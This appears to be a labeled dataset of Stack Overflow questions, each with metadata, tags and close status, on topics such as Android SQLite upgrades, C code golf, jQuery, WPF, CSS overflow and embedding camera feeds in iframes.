i m stroring in a database some news that i get from rss.My problem is that i want the new feed to overwrite the old one.I want everytime to have 10 news in my database,but now i m having every time i refresh 10 more.. Searching the net i found that the solution must be the `onUpgrade` method.Could you help me to do that?this is the onUpgrade i m using as now: public void onUpgrade (SQLiteDatabase db,int oldVersion, int newVersion){ android.util.Log.w("Constants", "Upgrading database, which will destroy all data"); db.execSQL("DROP TABLE IF EXISTS myDB"); onCreate(db); }
java
android
database
null
null
null
open
How to overwrite my database when updated === i m stroring in a database some news that i get from rss.My problem is that i want the new feed to overwrite the old one.I want everytime to have 10 news in my database,but now i m having every time i refresh 10 more.. Searching the net i found that the solution must be the `onUpgrade` method.Could you help me to do that?this is the onUpgrade i m using as now: public void onUpgrade (SQLiteDatabase db,int oldVersion, int newVersion){ android.util.Log.w("Constants", "Upgrading database, which will destroy all data"); db.execSQL("DROP TABLE IF EXISTS myDB"); onCreate(db); }
0
2,261,774
02/14/2010 16:26:34
211,631
11/15/2009 21:33:07
782
17
Shortest code in C
Problem Statement : **Given the set of integers, find the sum of all positive integers in it.** **Input :** t – number of test cases [t < 1000] On each of next t lines given a integer N [-1000 <= N <= 1000] **Output :** One integer equals to sum of all positive integers. This is actually a [SPOJ][1] problem.I had solved it using python & ruby already but I am interested it solving it in C. Here is my solution in C : a,s; main(n){ for(scanf("%d",&a); a--; scanf("%d",&n), s+=(n>0)*n); printf("%d",s); } My solution uses 79 characters.But in the [best solution list][2] there are people who solved them in 70 characters and 75 characters.So I want to know how such compaction is achieved ? [1]: https://www.spoj.pl/problems/SIZECON/ [2]: https://www.spoj.pl/ranks/SIZECON/lang=C
c
spoj
null
null
null
03/21/2012 05:49:46
off topic
Shortest code in C === Problem Statement : **Given the set of integers, find the sum of all positive integers in it.** **Input :** t – number of test cases [t < 1000] On each of next t lines given a integer N [-1000 <= N <= 1000] **Output :** One integer equals to sum of all positive integers. This is actually a [SPOJ][1] problem.I had solved it using python & ruby already but I am interested it solving it in C. Here is my solution in C : a,s; main(n){ for(scanf("%d",&a); a--; scanf("%d",&n), s+=(n>0)*n); printf("%d",s); } My solution uses 79 characters.But in the [best solution list][2] there are people who solved them in 70 characters and 75 characters.So I want to know how such compaction is achieved ? [1]: https://www.spoj.pl/problems/SIZECON/ [2]: https://www.spoj.pl/ranks/SIZECON/lang=C
2
9,680,789
03/13/2012 08:50:04
1,265,952
03/13/2012 08:14:02
1
0
programming for multiple monitors .NET
im currrently working as a junior consultant at some company and there **trying** to make an app that runs on tree screens simultaneously does anyone have a clue on where to start at something like this, maby a design pattern or some awsome lib. any help would be great
monitors
null
null
null
null
03/13/2012 12:06:08
not a real question
programming for multiple monitors .NET === im currrently working as a junior consultant at some company and there **trying** to make an app that runs on tree screens simultaneously does anyone have a clue on where to start at something like this, maby a design pattern or some awsome lib. any help would be great
1
5,206,270
03/05/2011 19:35:44
598,805
02/01/2011 17:22:26
8
0
whats the pros/cons with working with PHP as opposed to asp.net or the whole .net framework?
im currently working with php but everyone is telling me that asp.net is so much better and i was just wondering what the real story is
php
asp.net
null
null
null
03/05/2011 19:51:57
not constructive
whats the pros/cons with working with PHP as opposed to asp.net or the whole .net framework? === im currently working with php but everyone is telling me that asp.net is so much better and i was just wondering what the real story is
4
4,470,819
12/17/2010 13:22:47
449,007
09/16/2010 00:45:08
113
20
CMC for site what choose best
[http://kuss.hmsite.net/][1] on pure PHP 5.2 and MySQL database. And now I need to make admin part for site. But I have only 4 days to done work. What CMC system you can propose me for such a site. And how many days it will take to lear how it works and to do site. Maby wordpress, joomla, drupal etc. What of them can be the best choice? Thanks! [1]: http://kuss.hmsite.net/
wordpress
drupal
website
joomla
null
09/21/2011 06:39:17
not constructive
CMC for site what choose best === [http://kuss.hmsite.net/][1] on pure PHP 5.2 and MySQL database. And now I need to make admin part for site. But I have only 4 days to done work. What CMC system you can propose me for such a site. And how many days it will take to lear how it works and to do site. Maby wordpress, joomla, drupal etc. What of them can be the best choice? Thanks! [1]: http://kuss.hmsite.net/
4
11,014,063
06/13/2012 11:37:56
1,358,670
04/26/2012 12:28:38
39
9
iOS: navigating between views
I'm looking for a good place where I can find tutorial/documentation with samples about the different ways to switch between views (viewcontrollers), also I'm interested in the different possibilities of of the animation we can perform. So does any body have some links ? E-Books are very appreciated :)
iphone
ios
uiviewcontroller
xcode4.3
null
06/13/2012 16:36:03
not a real question
iOS: navigating between views === I'm looking for a good place where I can find tutorial/documentation with samples about the different ways to switch between views (viewcontrollers), also I'm interested in the different possibilities of of the animation we can perform. So does any body have some links ? E-Books are very appreciated :)
1
9,466,509
02/27/2012 14:18:19
839,015
07/11/2011 13:51:02
172
3
WPF Combobox dropdown not same size?
![enter image description here][1] [1]: http://i.stack.imgur.com/ZdPWd.png In my WPF application, I have a host window which dynamically holds usercontrols at runtime for doing the flip, fade etc. My user controls are forms with the controls like textbox, combobox etc. The dropdown's text size is not proportional to the size of the combobox. Is there any way to sort this out?
wpf
null
null
null
null
null
open
WPF Combobox dropdown not same size? === ![enter image description here][1] [1]: http://i.stack.imgur.com/ZdPWd.png In my WPF application, I have a host window which dynamically holds usercontrols at runtime for doing the flip, fade etc. My user controls are forms with the controls like textbox, combobox etc. The dropdown's text size is not proportional to the size of the combobox. Is there any way to sort this out?
0
10,462,274
05/05/2012 13:21:43
1,376,741
05/05/2012 12:08:20
1
0
Prevent the downloaded video files from playing, should get an error message if it is downloaded on some once else computer
Hi is there any way to prevent the downloaded video files from playing. Can it be coded such that it can only play in my website and should give an error message if it is downloaded on some one else computer?
video
video-streaming
video-encoding
null
null
05/06/2012 17:58:47
off topic
Prevent the downloaded video files from playing, should get an error message if it is downloaded on some once else computer === Hi is there any way to prevent the downloaded video files from playing. Can it be coded such that it can only play in my website and should give an error message if it is downloaded on some one else computer?
2
2,587,631
04/06/2010 19:22:37
72,547
03/01/2009 21:38:52
704
64
Can this be considered Clean Code / Best Practice?
**Guys, How are you doing today?** I have the following question because I will follow this strategy for all my helpers *(to deal with the DB entities)* **Is this considered a good practice or is it going to be unmaintainable later?** public class HelperArea : AbstractHelper { event OperationPerformed<Area> OnAreaInserting; event OperationPerformed<Area> OnAreaInserted; event OperationPerformed<Area> OnExceptionOccured; public void Insert(Area element) { try { if (OnAreaInserting != null) OnAreaInserting(element); DBase.Context.Areas.InsertOnSubmit(new AtlasWFM_Mapping.Mapping.Area { areaDescripcion = element.Description, areaNegocioID = element.BusinessID, areaGUID = Guid.NewGuid(), areaEstado = element.Status, }); DBase.Context.SubmitChanges(); if (OnAreaInserted != null) OnAreaInserted(element); } catch (Exception ex) { LogManager.ChangeStrategy(LogginStrategies.EVENT_VIEWER); LogManager.LogError(new LogInformation { logErrorType = ErrorType.CRITICAL, logException = ex, logMensaje = "Error inserting Area" }); if (OnExceptionOccured != null) OnExceptionOccured(elemento); } } I want to know if it is a good way to handle the event on the Exception to let subscribers know that there has been an exception inserting that Area. And the way to log the Exception, is is OK to do it this way? Any suggestion to make it better?
source-code
code-review
c#
events
null
null
open
Can this be considered Clean Code / Best Practice? === **Guys, How are you doing today?** I have the following question because I will follow this strategy for all my helpers *(to deal with the DB entities)* **Is this considered a good practice or is it going to be unmaintainable later?** public class HelperArea : AbstractHelper { event OperationPerformed<Area> OnAreaInserting; event OperationPerformed<Area> OnAreaInserted; event OperationPerformed<Area> OnExceptionOccured; public void Insert(Area element) { try { if (OnAreaInserting != null) OnAreaInserting(element); DBase.Context.Areas.InsertOnSubmit(new AtlasWFM_Mapping.Mapping.Area { areaDescripcion = element.Description, areaNegocioID = element.BusinessID, areaGUID = Guid.NewGuid(), areaEstado = element.Status, }); DBase.Context.SubmitChanges(); if (OnAreaInserted != null) OnAreaInserted(element); } catch (Exception ex) { LogManager.ChangeStrategy(LogginStrategies.EVENT_VIEWER); LogManager.LogError(new LogInformation { logErrorType = ErrorType.CRITICAL, logException = ex, logMensaje = "Error inserting Area" }); if (OnExceptionOccured != null) OnExceptionOccured(elemento); } } I want to know if it is a good way to handle the event on the Exception to let subscribers know that there has been an exception inserting that Area. And the way to log the Exception, is is OK to do it this way? Any suggestion to make it better?
0
1,845,093
12/04/2009 05:45:42
198,729
10/29/2009 08:13:14
21
0
jquery select problem
How to find a `<input>` whose `type` is `text` and `value` is `"no"`?
jquery
select
null
null
null
null
open
jquery select problem === How to find a `<input>` whose `type` is `text` and `value` is `"no"`?
0
10,339,043
04/26/2012 18:12:18
940,285
09/12/2011 10:03:24
144
14
Size of autocad command window buffer
I've got an issue with autocad command window. If output of some command is too long I cant read its beginning. Could anybody help me to tune the buffer size please? Thanks in advance!
autocad
cad
null
null
null
04/30/2012 14:31:48
off topic
Size of autocad command window buffer === I've got an issue with autocad command window. If output of some command is too long I cant read its beginning. Could anybody help me to tune the buffer size please? Thanks in advance!
2
7,051,352
08/13/2011 15:23:31
830,423
07/05/2011 20:29:41
12
0
Need a recommended place to host my Flex client and Java server
Please let me know of a good free place to host my multiplayer card game for facebook which the client side is a FLEX web application and the server side is in Java. After some testing done I will proberly host it on a paid strong server, but for starters I want something free. Anyone can recommend? Thanks.
java
flex
null
null
null
08/13/2011 15:34:41
off topic
Need a recommended place to host my Flex client and Java server === Please let me know of a good free place to host my multiplayer card game for facebook which the client side is a FLEX web application and the server side is in Java. After some testing done I will proberly host it on a paid strong server, but for starters I want something free. Anyone can recommend? Thanks.
2
7,242,573
08/30/2011 11:41:55
917,244
08/29/2011 06:01:30
1
0
PHP Session Help
after a rough reading regarding PHP session I am still having a hard time implementing it, I googled some examples of it but all of them are vague and complex. the thing is The user will input his name ---> Click the submit button --> redirected to another page and then his name will show up -->
php
mysql
database
session
null
08/30/2011 13:03:49
not a real question
PHP Session Help === after a rough reading regarding PHP session I am still having a hard time implementing it, I googled some examples of it but all of them are vague and complex. the thing is The user will input his name ---> Click the submit button --> redirected to another page and then his name will show up -->
1
5,059,174
02/20/2011 18:51:25
621,793
02/17/2011 17:03:03
1
0
Java NIO, to use or not to use a framework?
I'm developing a Java Based server, with NIO multiplex and I started to see a lot of frameworks... I don't understand if these frameworks makes the life easier only or has also an increment of performance ( for example netty )
java
nio
multiplexing
null
null
null
open
Java NIO, to use or not to use a framework? === I'm developing a Java Based server, with NIO multiplex and I started to see a lot of frameworks... I don't understand if these frameworks makes the life easier only or has also an increment of performance ( for example netty )
0
10,287,602
04/23/2012 20:15:16
695,524
04/06/2011 19:40:21
160
13
Show PDF with all operators
Does any one know of a good freeware PDF inspector tool which runs on OSX (snow leopard). I need to have the PDF displayed in plain text including it's operators. So the tool should decode all Objects (flate encoded) from an PDF into plain text including it's operators. The reason for this is: I'm trying to extract all the text from within a PDF inside an iPhone App. I'm able to do this just fine. But I don't know which operators are use in the PDF. This results in a extracted string without any spaces and I need to know which operators are used in the document so I can figure out which operator should represent a space.
pdf
null
null
null
null
null
open
Show PDF with all operators === Does any one know of a good freeware PDF inspector tool which runs on OSX (snow leopard). I need to have the PDF displayed in plain text including it's operators. So the tool should decode all Objects (flate encoded) from an PDF into plain text including it's operators. The reason for this is: I'm trying to extract all the text from within a PDF inside an iPhone App. I'm able to do this just fine. But I don't know which operators are use in the PDF. This results in a extracted string without any spaces and I need to know which operators are used in the document so I can figure out which operator should represent a space.
0
5,342,307
03/17/2011 16:43:55
26,339
10/09/2008 01:08:16
1,754
84
Server side ASP.net code causes a full postback from inside a jQueryUI modal dialog
I've got an ASP.Net page name ListView.aspx that displays a list of records. It uses jQueryUI to display details of a single record modal dialog. The content of the modal dialog is another asp.net page named DetailsView.aspx. It is displayed like this: function DisplayDetails(promoID) { $("#promotionDetailsDialog").dialog({ height: 400, width: 600, modal: true }).load("DetailsPage.aspx?ID=" + promoID); return false; } The DetailsView page that is displayed in the dialog is simple. <body> <form id="form1" runat="server"> <asp:TextBox ID="TextBox1" runat="server"></asp:TextBox> <asp:TextBox ID="TextBox2" runat="server"></asp:TextBox> <br /> <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="Button" /> </form> </body> The server side code in the DetailsView Button1_Click event handler make a simple database call. My problem is that after the button on the modal dialog post back, the browser redirects from the ListView to the DetailsView. Is there a way to prevent that?
jquery
asp.net
jquery-ui
null
null
null
open
Server side ASP.net code causes a full postback from inside a jQueryUI modal dialog === I've got an ASP.Net page name ListView.aspx that displays a list of records. It uses jQueryUI to display details of a single record modal dialog. The content of the modal dialog is another asp.net page named DetailsView.aspx. It is displayed like this: function DisplayDetails(promoID) { $("#promotionDetailsDialog").dialog({ height: 400, width: 600, modal: true }).load("DetailsPage.aspx?ID=" + promoID); return false; } The DetailsView page that is displayed in the dialog is simple. <body> <form id="form1" runat="server"> <asp:TextBox ID="TextBox1" runat="server"></asp:TextBox> <asp:TextBox ID="TextBox2" runat="server"></asp:TextBox> <br /> <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="Button" /> </form> </body> The server side code in the DetailsView Button1_Click event handler make a simple database call. My problem is that after the button on the modal dialog post back, the browser redirects from the ListView to the DetailsView. Is there a way to prevent that?
0
3,694,131
09/12/2010 07:54:41
149,482
08/03/2009 03:53:31
6,172
239
Fastest integer type for common architectures
The [`stdint.h`][1] header lacks an `int_fastest_t` and `uint_fastest_t` to correspond with the `{,u}int_fastX_t` types. For instances where the width of the integer type does not matter, how does one pick the integer type that allows processing the greatest quantity of bits with the least penalty to performance? For example, if one was searching for the first set bit in a buffer using a naive approach, a loop such as this might be considered: // return the bit offset of the first 1 bit size_t find_first_bit_set(void const *const buf) { uint_fastest_t const *p; // use the fastest type for comparison to zero for (; *p == 0; ++p); // inc p while no bits are set return p - buf + ffsX(*p) - 1; // return offset of first bit set } Naturally, using `char` would result in more operations than `int`. But `long long` might result in more expensive operations than the overhead of using `int` on a 32 bit system and so on. My current assumption is for the mainstream architectures, the use of `long` is the safest bet: It's 32 bit on 32 bit systems, and 64 bit on 64 bit systems. [1]: http://en.wikipedia.org/wiki/Stdint.h
c
architecture
integer
fastest
stdint
null
open
Fastest integer type for common architectures === The [`stdint.h`][1] header lacks an `int_fastest_t` and `uint_fastest_t` to correspond with the `{,u}int_fastX_t` types. For instances where the width of the integer type does not matter, how does one pick the integer type that allows processing the greatest quantity of bits with the least penalty to performance? For example, if one was searching for the first set bit in a buffer using a naive approach, a loop such as this might be considered: // return the bit offset of the first 1 bit size_t find_first_bit_set(void const *const buf) { uint_fastest_t const *p; // use the fastest type for comparison to zero for (; *p == 0; ++p); // inc p while no bits are set return p - buf + ffsX(*p) - 1; // return offset of first bit set } Naturally, using `char` would result in more operations than `int`. But `long long` might result in more expensive operations than the overhead of using `int` on a 32 bit system and so on. My current assumption is for the mainstream architectures, the use of `long` is the safest bet: It's 32 bit on 32 bit systems, and 64 bit on 64 bit systems. [1]: http://en.wikipedia.org/wiki/Stdint.h
0
5,482,869
03/30/2011 06:47:39
683,410
03/30/2011 06:40:23
1
0
when i convert the data from NSData to NSString the &#8217; code is not converted in it origanal value. so how can i convert it.
convert &#8217; this code into NSString from NSData
iphone-sdk-4.0
null
null
null
null
04/10/2011 22:52:50
not a real question
when i convert the data from NSData to NSString the &#8217; code is not converted in it origanal value. so how can i convert it. === convert &#8217; this code into NSString from NSData
1
4,357,232
12/05/2010 03:38:28
260,594
01/28/2010 02:29:49
1,464
6
overflow:hidden problem
Can i want to specify that for horizontal content it should be overflow:hidden but for vertical content it should be overflow:auto. Can i do that? This is my markup which is not working. Not displaying any vertical scrollbar. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> </head> <body style="width:100%;height:auto;overflow:hidden;" > <div style="width:1548px;"> <div style="padding:0px;width:1548px;color:red;"> Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum. </div> </div> </body> </html> Thanks in advance:)
html
css
null
null
null
null
open
overflow:hidden problem === Can i want to specify that for horizontal content it should be overflow:hidden but for vertical content it should be overflow:auto. Can i do that? This is my markup which is not working. Not displaying any vertical scrollbar. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> </head> <body style="width:100%;height:auto;overflow:hidden;" > <div style="width:1548px;"> <div style="padding:0px;width:1548px;color:red;"> Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum. </div> </div> </body> </html> Thanks in advance:)
0
9,831,585
03/22/2012 22:36:37
1,287,049
03/22/2012 22:00:39
1
0
html overlay error on server
i'm a begginer in this stuff and no special programs, it's all based in html and js i've got a simple html that get several cameras in my VPN into iframes it all works fine when i have the files in the local pc (mine and server) the problem is that when i try to open from a shared folder they give me error but if i open the same file trought the server it work's fine i'm stuck! this is the iframe (they are all the same only changes the IP) <html><head><link rel="stylesheet" rev="stylesheet" href="dlink.css" type="text/css"> <title>D-Link Corporation. | INTERNET CAMERA | HOME | JAVA</title> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="-1"> <script language="JavaScript"> function Init() { if ((navigator.appName != "Netscape") && (navigator.userAgent.indexOf('Opera') == "-1")) { window.setInterval("ShowFrameRate()", 1000) } } function ShowFrameRate() { if (1) { var fFrameRate = cvcs.GetFrameRate() window.status = "Frame:" + fFrameRate.toString() + " fps" } cvcs.GetRealTimeData() CurrentTime.innerHTML = cvcs.GetTimeString() } </script><link type="text/css" rel="stylesheet" href="data:text/css,"> <script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/document_iterator.js</script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/find_proxy.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/get_html_text.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/global_constants.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/name_injection_builder.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/number_injection_builder.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/string_finder.js"></script><script 